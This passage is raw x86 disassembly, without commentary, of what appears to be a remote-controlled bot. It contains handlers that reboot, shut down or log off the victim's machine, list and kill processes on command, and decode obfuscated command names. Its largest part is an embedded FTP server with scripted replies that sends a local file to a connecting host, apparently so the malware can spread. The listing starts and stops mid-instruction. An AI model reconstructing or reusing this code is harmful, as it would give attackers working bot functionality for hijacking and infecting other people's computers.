ecx, offset dword_441C08 call sub_4013F2 loc_41C489: ; CODE XREF: sub_41BE00+678j mov al, ds:byte_440777 test al, al jz short loc_41C4A1 push offset byte_4407A7 mov ecx, offset dword_441C08 call sub_40186B loc_41C4A1: ; CODE XREF: sub_41BE00+690j mov ecx, offset dword_441C08 call sub_401D20 push 1 mov ds:byte_499254, 0 call ds:dword_4B3AB8 loc_41C4BA: ; CODE XREF: sub_41BE00+66Fj mov ecx, edi call sub_401479 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_48873B call sub_4010FF loc_41C4DF: ; CODE XREF: sub_41BE00+597j ; sub_41BE00+5E2j mov [esp+80h+var_68], esi lea edx, [esp+80h+var_68] loc_41C4E7: ; CODE XREF: sub_41BE00+1E7j push edx loc_41C4E8: ; CODE XREF: sub_41BE00+23Ej ; sub_41BE00+2BDj mov ecx, offset byte_4992AB call sub_4011E5 lea ecx, [esp+80h+var_4C] mov [esp+80h+arg_10EC], 0FFFFFFFFh call sub_4011F9 jmp short loc_41C51B ; --------------------------------------------------------------------------- loc_41C508: ; CODE XREF: sub_41BE00+36j ; sub_41BE00+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41C510: ; CODE XREF: sub_41BE00+9Cj push eax mov ecx, offset byte_4992AB call sub_4011E5 loc_41C51B: ; CODE XREF: sub_41BE00+44Bj ; sub_41BE00+706j mov ecx, [esp+1Ch+arg_1148] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn sub_41BE00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C710 proc near ; CODE XREF: sub_401A9Bj var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C710 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401726 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+40h+var_3C] mov [esp+40h+var_4], 0FFFFFFFFh call sub_4011F9 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+6Ch+var_3C] push 10h push edx call sub_4018DE add esp, 34h push esi mov ecx, eax mov [esp+44h+var_4], 1 call sub_401726 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+40h+var_3C] mov [esp+40h+var_4], 0FFFFFFFFh call sub_4011F9 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+64h+var_24] push 10h push ecx call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 2 call sub_401726 add esi, 60h push eax push esi mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+40h+var_24] mov [esp+40h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+40h+var_C] pop esi mov large fs:0, ecx add esp, 3Ch retn sub_41C710 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C890 proc near ; CODE XREF: sub_4010A0j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz short loc_41C8EB push offset aSysReboot ; "sys(reboot)" lea ecx, [edi+69h] call sub_4015F5 mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_48873B call sub_40178F add esp, 14h push 0 push 6 call ds:dword_4B3C14 pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41C8EB: ; CODE XREF: sub_41C890+1Ej lea ecx, [esi+32h] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz short loc_41C93A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_4015F5 mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_48873B call sub_40178F add esp, 14h push 0 push 5 call ds:dword_4B3C14 pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41C93A: ; CODE XREF: sub_41C890+6Dj lea ecx, [esi+60h] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz short loc_41C981 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_4015F5 mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_48873B call sub_40178F add esp, 14h push 0 push 4 call ds:dword_4B3C14 loc_41C981: ; CODE XREF: sub_41C890+BCj pop edi pop esi xor al, al pop ebx retn 4 sub_41C890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C9D0 proc near ; CODE XREF: sub_401E15j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C9D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4018DE add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_401726 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_43FFB0 call sub_401523 or edi, 0FFFFFFFFh lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+6Ch+var_3C] push 10h push edx call sub_4018DE add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 1 call sub_401726 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+78h+var_3C] push 10h push ecx call sub_4018DE add esp, 3Ch mov [esp+44h+var_4], 2 push esi mov ecx, eax call sub_401726 lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+78h+var_3C] push 10h push eax call sub_4018DE add esp, 3Ch push esi mov ecx, eax mov [esp+48h+var_4], 3 call sub_401726 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+78h+var_24] push 10h push edx call sub_4018DE add esp, 3Ch push esi mov ecx, eax mov [esp+48h+var_4], 4 call sub_401726 add esi, 60h push eax push esi mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_24] mov [esp+44h+var_4], edi call sub_4011F9 mov ecx, [esp+44h+var_C] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_41C9D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41CC30 proc near ; CODE XREF: sub_401596j var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41CC30 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_41CDCA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_401807 lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011AE add esp, 4 test al, al jz loc_41CDB2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4018DE add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_401479 push eax mov ecx, edi call sub_4015F5 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_48873B call sub_4010FF lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_4011F9 lea ecx, [esp+60h+var_50] call sub_40166D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_40147E mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_401898 push eax lea ecx, [esp+64h+var_50] call sub_401749 test al, al jz short loc_41CDB2 mov ebp, ds:dword_4B38CC loc_41CD3E: ; CODE XREF: sub_41CC30+180j lea ecx, [esp+60h+var_50] inc edi call sub_4011FE mov ecx, eax call sub_401726 push eax lea ecx, [esp+64h+var_50] call sub_4011FE mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_48873B call sub_40178F add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_401078 lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_401898 push eax lea ecx, [esp+64h+var_50] call sub_401749 test al, al jnz short loc_41CD3E loc_41CDB2: ; CODE XREF: sub_41CC30+62j ; sub_41CC30+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_40175D mov al, 1 jmp loc_41D1E7 ; --------------------------------------------------------------------------- loc_41CDCA: ; CODE XREF: sub_41CC30+37j lea ecx, [edi+32h] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_41CEBE push offset dword_43B600 lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_401622 push offset byte_43FDC8 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012B7 test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 test bl, bl jnz loc_41D1E5 push offset dword_43B600 lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+60h+var_4], 3 call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push offset dword_43B600 lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+60h+var_4], 4 call sub_401479 push eax push offset aKpS ; "kp: %s" lea ecx, [esi+69h] call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_48873B call sub_40178F add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 mov al, 1 jmp loc_41D1E7 ; --------------------------------------------------------------------------- loc_41CEBE: ; CODE XREF: sub_41CC30+1ACj lea ecx, [edi+8Eh] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_41D025 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_40164F lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_401FB9 add esp, 4 test al, al jz loc_41D00D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4018DE add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_401479 push eax mov ecx, edi call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_48873B call sub_4010FF lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_4011F9 lea ecx, [esp+60h+var_50] call sub_401A4B lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_401406 mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_401398 push eax lea ecx, [esp+64h+var_50] call sub_401285 test al, al jz short loc_41D00D mov ebx, ds:dword_4B38CC loc_41CFA6: ; CODE XREF: sub_41CC30+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401050 mov ecx, eax call sub_401726 push eax push edi push offset aD_S ; "%d. / %s" mov ecx, ebp call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_48873B call sub_40178F add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_401771 lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_401398 push eax lea ecx, [esp+64h+var_50] call sub_401285 test al, al jnz short loc_41CFA6 loc_41D00D: ; CODE XREF: sub_41CC30+2CFj ; sub_41CC30+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D025: ; CODE XREF: sub_41CC30+2A3j lea ecx, [edi+0BCh] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_41D11C push offset dword_43B600 lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_401622 push offset byte_43FDC8 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012B7 test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 test bl, bl jnz loc_41D1E5 push offset dword_43B600 lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+60h+var_4], 8 call sub_401726 push eax call sub_40191F add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push offset dword_43B600 lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_401622 mov ecx, eax mov [esp+60h+var_4], 9 call sub_401479 push eax push offset aKsS ; "ks: %s" lea ecx, [esi+69h] call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_48873B call sub_40178F add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 mov al, 1 jmp loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D11C: ; CODE XREF: sub_41CC30+40Aj lea ecx, [edi+60h] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_41D1E5 push offset dword_43B600 lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_401622 push offset byte_43FDC8 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012B7 test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 test bl, bl jnz short loc_41D1E5 push offset dword_43B600 lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_401726 push eax call ds:dword_4B3AEC add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_4011F9 test ebx, ebx jz short loc_41D1E5 push ebx push offset aKpidS ; "kpid: %s" lea ecx, [esi+69h] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_48873B call sub_40178F push ebx call sub_4017DA add esp, 1Ch jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1E5: ; CODE XREF: sub_41CC30+1F0j ; sub_41CC30+44Ej ... xor al, al loc_41D1E7: ; CODE XREF: sub_41CC30+195j ; sub_41CC30+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41CC30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D380: ; CODE XREF: _294ADE7B:loc_401E88j push ebp mov ebp, esp push 0FFFFFFFFh push (offset a0ac+26h) mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, ds:dword_4B38CC mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41D3B0: ; CODE XREF: _294ADE7B:0041D3C1j mov al, [esi+0ABh] test al, al jnz short loc_41D3C3 push 3E8h call edi jmp short loc_41D3B0 ; --------------------------------------------------------------------------- loc_41D3C3: ; CODE XREF: _294ADE7B:0041D3B8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_44010F call sub_40194C lea edx, [ebp-14h] mov ecx, offset byte_4992AB push edx mov [ebp-14h], esi call sub_4011E5 loc_41D3E9: ; DATA XREF: _294ADE7B:loc_41D3FCo mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41D3FC: ; DATA XREF: _8C6BDE73:0043A084o mov eax, offset loc_41D3E9 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D440 proc near ; CODE XREF: sub_401CB7j arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401E65 mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401E65 mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401E65 mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401E65 mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401E65 mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41D440 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_401F32j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41D500 push eax mov eax, 19B4h mov large fs:0, esp call sub_430390 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr ds:dword_4404E7 push edx call ds:dword_4B3CB0 push 6 push 1 push 2 mov [edi+1Bh], ax call ds:dword_4B3CAC cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41D587 lea eax, [esp+24h+var_18] mov ecx, offset byte_4992AB push eax mov [esp+28h+var_18], edi call sub_4011E5 jmp loc_41DC2A ; --------------------------------------------------------------------------- loc_41D587: ; CODE XREF: sub_41D500+6Dj push 10h push esi push eax call ds:dword_4B3C58 test eax, eax jz short loc_41D5B7 mov ecx, [edi+15h] push ecx call ds:dword_4B3CA8 lea edx, [esp+34h+var_28] mov ecx, offset byte_4992AB push edx mov [esp+38h+var_28], edi call sub_4011E5 jmp loc_41DC2A ; --------------------------------------------------------------------------- loc_41D5B7: ; CODE XREF: sub_41D500+93j mov al, ds:byte_499254 test al, al jz loc_41DC20 push ebx mov ebx, ds:dword_4B3AEC push ebp mov ebp, ds:dword_4B3C9C loc_41D5D2: ; CODE XREF: sub_41D500+718j mov eax, [edi+15h] push 0Ah push eax call ds:dword_4B3C54 cmp eax, 0FFFFFFFFh jnz short loc_41D5ED push 0FAh jmp loc_41DC0B ; --------------------------------------------------------------------------- loc_41D5ED: ; CODE XREF: sub_41D500+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax call ds:dword_4B3C64 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41DC06 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx call ds:dword_4B3CC4 mov eax, [esp+58h+var_34] test al, al jz loc_41DC11 mov cl, ds:byte_440C50 test cl, cl jz short loc_41D69F mov edx, [esp+58h+var_34+3] mov ecx, ds:dword_4404E7 and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_4407F0 call sub_401479 push eax push 0 push 0 push offset byte_48873B call sub_40178F add esp, 28h loc_41D69F: ; CODE XREF: sub_41D500+14Ej lea ecx, [esp+58h+arg_0] call sub_4013CF push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401B40 push eax call sub_401578 add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_40146F lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401E65 mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_40124E mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_40124E mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_40124E mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_40124E add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_4017A8 push offset dword_43B600 lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_401622 push offset asc_43BF80 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_401622 mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_4011F9 push offset asc_43BF80 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_401622 mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_4011F9 push offset asc_43BF80 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_401622 mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_4011F9 push offset asc_43BF80 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_401622 mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_4011F9 push offset asc_43BF80 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_401622 mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_4011F9 push offset asc_43BF80 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_401622 mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_4011F9 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset dword_43BB9C push ecx call ds:dword_4B3C18 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_40124E mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_4019AB add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_401726 push eax call ds:dword_4B3A90 mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41DB65 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41DB65 push 2 push 0 push edi call ds:dword_4B3A7C push edi call ds:dword_4B3A80 push 0 push 0 push edi mov [esp+0D4h+var_9C], eax call ds:dword_4B3A7C add esp, 1Ch loc_41DA90: ; CODE XREF: sub_41D500+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax call ds:dword_4B3A84 mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41DAE3 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp cmp edi, 1000h jz short loc_41DA90 loc_41DAE3: ; CODE XREF: sub_41D500+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, ds:byte_440C50 test 